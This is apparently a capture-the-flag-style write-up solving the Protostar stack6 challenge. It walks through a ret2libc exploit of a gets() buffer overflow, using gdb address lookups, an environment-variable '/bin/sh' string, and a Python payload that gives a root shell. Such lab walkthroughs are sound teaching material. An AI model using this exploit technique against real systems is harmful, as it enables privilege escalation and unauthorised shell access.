Protostar vm, stack6

Here is the source of the vulnerable program :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
char buffer[64];
unsigned int ret;

printf("input path please: "); fflush(stdout);

gets(buffer);

ret = __builtin_return_address(0);

if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}

printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
getpath();



}

In this challenge we’ll have to try a new attack : ret2libc

Instead of putting shellcode in the buffer, we’ll try to call a particular libc function : system().

Thanks to it we should be able to spawn a shell.

In order to perform this attack we need several things. First, we have to call this function somewhere on the stack in order to get its address.

A simple method is to compile a dummy program in C that ccalls the function and then look with gdb.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
user@protostar:~$ echo 'int main() { system(); }' > sys.c
user@protostar:~$ cat sys.c
int main() { system(); }
user@protostar:~$ gcc sys.c -o sys
user@protostar:~$ gdb -q sys
Reading symbols from /home/user/sys...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x80483c7
(gdb) r
Starting program: /home/user/sys

Breakpoint 1, 0x080483c7 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>
(gdb)

Note that we also grabbed exit()’s address, we’ll see later what for.

Now we have to put the string “/bin/sh” (the argument we’ll use for our system() call) somewhere in the stack and grab it’s address.

A way of doing that is tu put “/bin/sh” in an environment variable and then getting it’s address with a simple C program.

Here is the code :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {

char *addr_var;
addr_var = getenv(argv[1]);
printf("%s is stored at address %p\n", argv[1], addr_var);
return(0);
}

```

And here is how I used it :


``` bash
user@protostar:~$ export HACK=/bin/sh
user@protostar:~$ echo $HACK
/bin/sh
user@protostar:~$ ./var HACK
HACK is stored at address 0xbffff9c7
```

Just to recap :
We have the adresses of exit(), system() and "/bin/sh". We now need the offset of the %eip register.


``` bash
user@protostar:~$ gdb -q /opt/protostar/bin/./stack6
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) disass getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push %ebp
0x08048485 <getpath+1>: mov %esp,%ebp
0x08048487 <getpath+3>: sub $0x68,%esp
0x0804848a <getpath+6>: mov $0x80485d0,%eax
0x0804848f <getpath+11>: mov %eax,(%esp)
0x08048492 <getpath+14>: call 0x80483c0 <printf@plt>
0x08048497 <getpath+19>: mov 0x8049720,%eax
0x0804849c <getpath+24>: mov %eax,(%esp)
0x0804849f <getpath+27>: call 0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>: lea -0x4c(%ebp),%eax
0x080484a7 <getpath+35>: mov %eax,(%esp)
0x080484aa <getpath+38>: call 0x8048380 <gets@plt>
0x080484af <getpath+43>: mov 0x4(%ebp),%eax
0x080484b2 <getpath+46>: mov %eax,-0xc(%ebp)
0x080484b5 <getpath+49>: mov -0xc(%ebp),%eax
0x080484b8 <getpath+52>: and $0xbf000000,%eax
0x080484bd <getpath+57>: cmp $0xbf000000,%eax
0x080484c2 <getpath+62>: jne 0x80484e4 <getpath+96>
0x080484c4 <getpath+64>: mov $0x80485e4,%eax
0x080484c9 <getpath+69>: mov -0xc(%ebp),%edx
0x080484cc <getpath+72>: mov %edx,0x4(%esp)
0x080484d0 <getpath+76>: mov %eax,(%esp)
0x080484d3 <getpath+79>: call 0x80483c0 <printf@plt>
0x080484d8 <getpath+84>: movl $0x1,(%esp)
0x080484df <getpath+91>: call 0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>: mov $0x80485f0,%eax
0x080484e9 <getpath+101>: lea -0x4c(%ebp),%edx
0x080484ec <getpath+104>: mov %edx,0x4(%esp)
0x080484f0 <getpath+108>: mov %eax,(%esp)
0x080484f3 <getpath+111>: call 0x80483c0 <printf@plt>
0x080484f8 <getpath+116>: leave
0x080484f9 <getpath+117>: ret
End of assembler dump.
(gdb) b *getpath+49
Breakpoint 1 at 0x80484b5: file stack6/stack6.c, line 17.
(gdb) r
Starting program: /opt/protostar/bin/stack6
input path please: AAAAAAAAA

Breakpoint 1, getpath () at stack6/stack6.c:17
17 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) x/30x $esp
0xbffff730: 0xbffff74c 0x00000000 0xb7fe1b28 0x00000001
0xbffff740: 0x00000000 0x00000001 0xb7fff8f8 0x41414141
0xbffff750: 0x41414141 0xb7ec0041 0xbffff768 0xb7eada75
0xbffff760: 0xb7fd7ff4 0x080496ec 0xbffff778 0x0804835c
0xbffff770: 0xb7ff1040 0x080496ec 0xbffff7a8 0x08048539
0xbffff780: 0xb7fd8304 0xb7fd7ff4 0x08048520 0x08048505
0xbffff790: 0xb7ec6365 0xb7ff1040 0xbffff7a8 0x08048505
0xbffff7a0: 0x08048520 0x00000000
(gdb) p $ebp +0x4 -0xbffff74c
$1 = (void *) 0x50
(gdb) p 0x50
$2 = 80

```

%eip is located 80 bytes after the top of the stack.

We can now construct our payload which will look like that :

padding + adress of system + address of exit + address of "/bin/sh"

The reason I put the address of exit in the payload is because when returning from system, the next instruction executed will be that one and so the program will close properly.

Let's construct the payload and test it :




``` bash
user@protostar:~$ python -c 'print 80*"A"+"\xb0\xff\xec\xb7"+"\xc0\x60\xec\xb7"+"\xcc\xf9\xff\xbf"' > payload
user@protostar:~$ cat payload -| /opt/protostar/bin/./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAA�����`������
sh: 2.2: not found

user@protostar:~$

A few things to note here, first I use “cat -“ in order to redirect the result from the cat command to stdin. I also added 5 bytes to the address of HACK in order for it to point to “/bin/sh” and not “HACK=/bin/sh”.
Finally, it doesn’t work, I noticed that the address I was getting for my environment variable was not the exact right one.
There actually is a shift. To find the right address I used gdb (probably not the best way)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
user@protostar:~$ gdb -q /opt/protostar/bin/./stack6
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) b main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.
(gdb) r
Starting program: /opt/protostar/bin/stack6

Breakpoint 1, main (argc=1, argv=0xbffff854) at stack6/stack6.c:27
27 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) x/20s 0xbffff9cc
0xbffff9cc: ""
0xbffff9cd: "SHLVL=1"
0xbffff9d5: "HOME=/home/user"
0xbffff9e5: "OLDPWD=/opt/protostar/bin"
0xbffff9ff: "SSH_TTY=/dev/pts/0"
0xbffffa12: "LOGNAME=user"
0xbffffa1f: "_=/usr/bin/gdb"
0xbffffa2e: "COLUMNS=213"
0xbffffa3a: "TERM=xterm"
0xbffffa45: "PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games"
0xbffffa83: "LANG=en_US.UTF-8"
0xbffffa94: "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31"...
0xbffffb5c: ":*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.d"...
0xbffffc24: "eb=01;31:*.rpm=01;31:*.jar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35"...
0xbffffcec: ":*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4"...
0xbffffdb4: "v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*."...
0xbffffe7c: "yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;3"...
0xbfffff44: "6:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:"
0xbfffff84: "SHELL=/bin/sh"
0xbfffff92: "HACK=/bin/sh"
(gdb) x/20s 0xbffff9cc +0x30
0xbffff9fc: "in"
0xbffff9ff: "SSH_TTY=/dev/pts/0"
0xbffffa12: "LOGNAME=user"
0xbffffa1f: "_=/usr/bin/gdb"
0xbffffa2e: "COLUMNS=213"
0xbffffa3a: "TERM=xterm"
0xbffffa45: "PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games"
0xbffffa83: "LANG=en_US.UTF-8"
0xbffffa94: "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31"...
0xbffffb5c: ":*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.d"...
0xbffffc24: "eb=01;31:*.rpm=01;31:*.jar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35"...
0xbffffcec: ":*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4"...
0xbffffdb4: "v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*."...
0xbffffe7c: "yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;3"...
0xbfffff44: "6:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:"
0xbfffff84: "SHELL=/bin/sh"
0xbfffff92: "HACK=/bin/sh"
0xbfffff9f: "PWD=/home/user"
0xbfffffae: "SSH_CONNECTION=10.0.2.2 36821 10.0.2.15 22"
0xbfffffd9: "LINES=58"

If we take a look at the error message we get from the exploit, we can see that the address we entered pointed to 2.2 which is part of the SSH_CONNECTION variable. Now, if we substract the right amount of bytes from that address, we should be able to point to “/bin/sh”. There are exactly 48 chars frrom 2.2 to /bin/sh so if we substract 48 to 0xbffff9c7 we should get the right address.
let’s test it out :

1
2
3
4
5
6
7
user@protostar:~$ python -c 'print 80*"a"+"\xb0\xff\xec\xb7"+"\xc0\x60\xec\xb7"+"\x9b\xf9\xff\xbf"' > payload
user@protostar:~$ cat payload -| /opt/protostar/bin/./stack6
input path please: got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa����aaaaaaaaaaaa�����`췛���
ls
payload sys sys.c var var.c
whoami
root

It works !